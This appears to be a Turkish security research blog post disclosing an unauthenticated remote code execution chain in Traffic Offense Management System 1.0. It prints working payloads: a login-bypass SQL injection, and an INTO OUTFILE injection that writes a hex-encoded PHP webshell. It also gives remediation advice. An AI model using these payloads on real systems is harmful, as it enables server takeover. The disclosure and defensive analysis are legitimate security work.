Traffic Offense Management System 1.0 - Remote Code Execution (Unauthenticated) | Tağmaç - root@Tagoletta:~#
Contents

Traffic Offense Management System 1.0 - Remote Code Execution (Unauthenticated)

Wed Aug 18 2021 · 2 min read

Category: Security Research

# Exploit# Zero-Day# RCE# SQLi

Exploit Kodunu Görüntüle

Giriş

Bu raporda, "Traffic Offense Management System 1.0" uygulamasında keşfedilen kritik bir Uzaktan Kod Yürütme (RCE) zafiyetini inceleyeceğiz. Bu zafiyet, kimliği doğrulaması yapılmamış bir saldırganın sunucuyu tamamen ele geçirmesine olanak tanır. Saldırı zinciri, kimlik doğrulama mekanizmasını atlatmak için bir SQL Enjeksiyonu ile başlar ve ardından sunucuya kötü amaçlı bir PHP dosyası yazmak için başka bir SQL Enjeksiyonu (INTO OUTFILE) kullanır.

Zafiyet Analizi

Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)

Saldırının ilk adımı, yönetim paneline erişim sağlamaktır. Uygulamanın giriş mekanizması classes/Login.php dosyasını incelediğimizde, $username değişkeninin doğrudan SQL sorgusuna dahil edildiğini görüyoruz.

// classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Görüldüğü gibi, $username değişkeni doğrudan SQL sorgusuna dahil edilmektedir. Bu, klasik bir SQL Enjeksiyonu zafiyetidir.

Kullanılan Yük (Payload): admin' or '1'='1'#

Bu yük gönderildiğinde sorgu şu hale gelir:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

Bu sorgu her zaman doğru döneceği için saldırgan, şifreyi bilmeden yönetici olarak giriş yapabilir.

Aşama 2: Yol İfşası (Path Disclosure)

Dosya yazabilmek için sunucudaki tam dosya yolunu (absolute path) bilmemiz gerekir. admin/drivers/manage_driver.php dosyasındaki id parametresi de SQL enjeksiyonuna açıktır.

// admin/drivers/manage_driver.php
$qry = $conn->query("SELECT * from `drivers_list` where id = '{$_GET['id']}' ");

Eğer id parametresine tek tırnak (') gönderilirse, SQL sözdizimi bozulur ve PHP bir uyarı (Warning) mesajı döndürür. Bu mesaj, dosyanın sunucudaki tam yolunu içerir.

Aşama 3: Uzaktan Kod Yürütme (SQL Injection - INTO OUTFILE)

Yolu öğrendikten sonra, aynı SQL enjeksiyon noktasını (admin/drivers/manage_driver.php) kullanarak sunucuya bir dosya yazabiliriz. MySQL'in INTO OUTFILE özelliği, sorgu sonuçlarını bir dosyaya yazmak için kullanılır.

Kullanılan Yük (Payload):

' LIMIT 0,1 INTO OUTFILE '/var/www/html/admin/shell.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e -- -

Bu yük, sorgu sonucunu (veya daha doğrusu LINES TERMINATED BY ile belirttiğimiz PHP kodunu) sunucuda belirtilen yola yazar. Hex olarak kodlanmış kısım <?php system($_GET['cmd']); ?> koduna karşılık gelir.

Exploit Geliştirme

Geliştirilen Python betiği (50244.py) şu adımları otomatikleştirir:

  1. Login Bypass: classes/Login.php adresine SQLi yükü göndererek oturum açar.
  2. Sürücü ID Tespiti: admin/?page=drivers sayfasını tarayarak geçerli bir sürücü ID'si bulur. Bu ID, bir sonraki SQL enjeksiyonu için gereklidir.
  3. Yol Tespiti: manage_driver sayfasına hatalı bir ID göndererek dönen hata mesajından sunucunun tam yolunu ayrıştırır.
  4. Shell Yükleme: INTO OUTFILE tekniğini kullanarak, tespit edilen yola rastgele isimli bir PHP dosyası yazar.
  5. Komut Çalıştırma: Yüklenen PHP dosyasına bir istek göndererek whoami komutunu çalıştırır ve sonucu ekrana basar.

Çözüm ve Kapatma

Bu zafiyetlerin giderilmesi için:

  1. Hazırlanmış İfadeler (Prepared Statements): Tüm veritabanı sorgularında parametreli sorgular kullanılmalıdır.

    Zafiyetli:

    $qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
    

    Güvenli:

    $stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    $qry = $stmt->get_result();
    
  2. Hata Gösterimini Kapatma: Canlı sistemlerde display_errors kapalı olmalıdır.

  3. Veritabanı Yetkilerini Kısıtlama: Veritabanı kullanıcısının FILE yetkisi (dosya okuma/yazma) kaldırılmalıdır.


İlk Yayın Tarihi: 19 Ağustos 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50244

Sıkça Sorulan Sorular

Traffic Offense Management System zafiyeti nedir?

Traffic Offense Management System 1.0 üzerinde, kimlik doğrulaması gerektirmeden SQL Enjeksiyonundan Uzaktan Kod Yürütmeye tırmanan, Tağmaç 'Tagoletta' tarafından keşfedilip exploit edilmiş bir zero-day zafiyetidir.

SQL enjeksiyonu nasıl RCE'ye yol açar?

Enjeksiyon, web köküne bir PHP webshell yazmak için SELECT ... INTO OUTFILE kullanır; ardından bu dosya istenerek işletim sistemi komut çalıştırma elde edilir.

Etkisi nedir?

Kimlik doğrulaması olmadan, barındıran sunucuda tam uzaktan komut çalıştırma; bu da uygulamanın ve potansiyel olarak altındaki sistemin tamamen ele geçirilmesine imkan verir.

Nasıl azaltılabilir?

Parametreli sorgular kullanın, INTO OUTFILE'ın dosya yazamaması için veritabanının FILE ayrıcalığını kaldırın, web kökü yazma erişimini kısıtlayın, uygulamayı en az yetkiyle çalıştırın ve bir WAF arkasına alın.

Traffic Offense Management System RCE için PoC exploit writeup'ı nerede?

Tam proof-of-concept exploit kodu ve adım adım writeup bu sitede yayınlanmıştır — SELECT ... INTO OUTFILE ile webshell bırakıp RCE elde eden, çalışmaya hazır PoC için eşlik eden exploit sayfasına bakın.